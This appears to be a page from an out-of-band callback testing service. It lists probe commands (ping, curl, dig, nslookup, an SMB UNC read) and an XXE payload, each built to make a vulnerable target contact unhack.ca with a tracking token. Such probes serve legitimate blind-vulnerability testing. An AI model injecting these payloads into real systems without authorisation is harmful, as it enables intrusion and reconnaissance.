$ ping -c1 -p 00bf569646db05c62a4537e9e78cc400 unhack.ca
 

$ curl http://unhack.ca/p/bf569646db05c62a4537e9e78cc4
 

$ dig bf569646db05c62a4537e9e78cc4 @unhack.ca
 

$ dig bf569646db05c62a4537e9e78cc4.ns.unhack.ca
 

C:\> nslookup bf569646db05c62a4537e9e78cc4 unhack.ca
 

C:\> type \\unhack.ca\bf569646db05c62a4537e9e78cc4\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bf569646db05c62a4537e9e78cc4">]>
    <foo>&xxe;</foo>